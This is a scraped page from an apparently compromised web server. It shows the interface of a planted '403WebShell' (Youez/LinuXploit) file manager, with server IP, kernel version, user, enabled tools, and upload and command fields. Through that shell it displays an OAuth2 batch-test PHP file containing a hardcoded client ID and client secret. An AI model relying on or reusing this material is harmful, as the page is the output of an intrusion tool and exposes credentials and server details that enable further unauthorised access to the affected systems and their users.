Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/public/static/OAuth2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/public/static/OAuth2/batch_test.php
<?php

	header('Content-type: text/plain');
// http://pyoung.api.simplyinteractiveinc.com/OAuth2/test.php
	$BASE = __DIR__;
	require "$BASE/Client.php";
	require "$BASE/OAuthDiscovery.php";
	require "$BASE/GrantType/IGrantType.php";
	require "$BASE/GrantType/AuthorizationCode.php";
	
	const CLIENT_ID     = '1c6942bddcc2746da6c2';
	const CLIENT_SECRET = 'R8L6RCHdnzD5YOnvxyxB9slwTH1mi12aqhFye8A83X0';

	// Use services.xrds to retrieve endpoints
	const API = 'http://pyoung.api.simplyinteractiveinc.com/';
	$XRDS = OAuthDiscovery::Discover(API . 'oauth/');		// output may be cached

	$REDIRECT_URI = CurrentURL(2);
	
	$client = new OAuth2\Client(CLIENT_ID, CLIENT_SECRET);
	if (isset($_GET['error'])) {
		var_dump($_SERVER['QUERY_STRING']);
		exit;
	}
	
	if (!isset($_GET['code'])) {
		$auth_url = $client->getAuthenticationUrl($XRDS['authorize_uri'], $REDIRECT_URI, array('state' => 'profile'));
		header('Location: ' . $auth_url);
		die('Redirect');		
	} else {
		$params = array('code' => $_GET['code'], 'redirect_uri' => $REDIRECT_URI);
		$response = $client->getAccessToken($XRDS['request_token_uri'], 'authorization_code', $params);
		var_dump($response);
		if (is_array($response['result'])) {
			$info = $response['result'];
		} else {
			parse_str($response['result'], $info);
		}
		
		$access_token = $info['access_token'];
		Execute_Demo($access_token);

	}
	
function CurrentURL($include_query = 1) {
	$host = isset($_SERVER['HTTPS']) ? strtolower($_SERVER['HTTPS']) : '';
	$host = ($host == 'on') ? 'https://' : 'http://';
	$host .= isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
	$n = $_SERVER['REQUEST_URI'];
	$querystr = '';
	if (($p = strpos($n, '?')) !== FALSE) {
		parse_str(substr($n, $p + 1), $query);
		$n = substr($n, 0, $p);
		if ($include_query > 1) {
			unset($query['code']);
			unset($query['state']);
		}
		foreach($query as $key => $value) {
			$querystr .= ($querystr == '') ? '?' : '&';
			$querystr .= urlencode($key) . '=' . urlencode($value);
		}
	}
	$url = $host . $n;
	if ($include_query && $querystr != '') $url .= $querystr;
	return $url;
}

function Execute_Demo($access_token) {
	$commands = array(	array('GET', '/v1/clients.json/client/?fields=client_id,client_name'),
						array('GET', '/v1/client/31/clients.txt'),
						array('GET', '/v1/client/clients.serial;inactive')
					);
	$boundary = '===============7330845974216740156==';
	$postdata = _demo_AssemblePOSTdata($commands, $boundary);
	
	$ch = curl_init('http://pyoung.api.simplyinteractiveinc.com/batch');
	$curl_header = array();
	
	if (1) {	// DEBUG: on same server
		curl_setopt($ch, CURLOPT_URL, 'http://127.0.0.1/batch');
		$curl_header[] = 'HOST: api.simplyinteractiveinc.com';
	}
	$curl_header[] = 'Authorization: Bearer ' . $access_token;
	
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	// post data
	if( !empty( $postdata ) ){
		curl_setopt($ch, CURLOPT_POST, true);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
		$curl_header[] = "Content-type: multipart/mixed; boundary=\"$boundary\"";
	}   
	if (count($curl_header))
		curl_setopt( $ch, CURLOPT_HTTPHEADER, $curl_header);

	// execute and get return value 
	$return = curl_exec( $ch );
	curl_close( $ch );
	unset( $ch );
	header('Content-type: text/plain');
	echo $return;
	exit;
}
	
function _demo_AssemblePOSTdata($commands, $boundary) {
	$output = '';
	foreach($commands as $index => $command_item) {
		$header  = "--$boundary\r\n";
		$header .= "Content-Type: application/http\r\n";
		$header .= "Content-Transfer-Encoding: binary\r\n";
		$header .= "Content-ID: item_{$index}\r\n";
		$header .= "\r\n";
		$header .= "{$command_item[0]} {$command_item[1]} HTTP/1.1\r\n";
		if ($command_item[0] == 'POST' || $command_item[0] == 'PUT' || $command_item[0] == 'PATCH') {
			$header .= "Content-Type: application/json\r\n";
			// incomplete: include content-length and post data
		}
		if ($index == 1) $header .= "Accept: application/xml\r\n";	// DEBUG only - should be removed
		$output .= $header;
	}
	return "$output\r\n--{$boundary}--\r\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit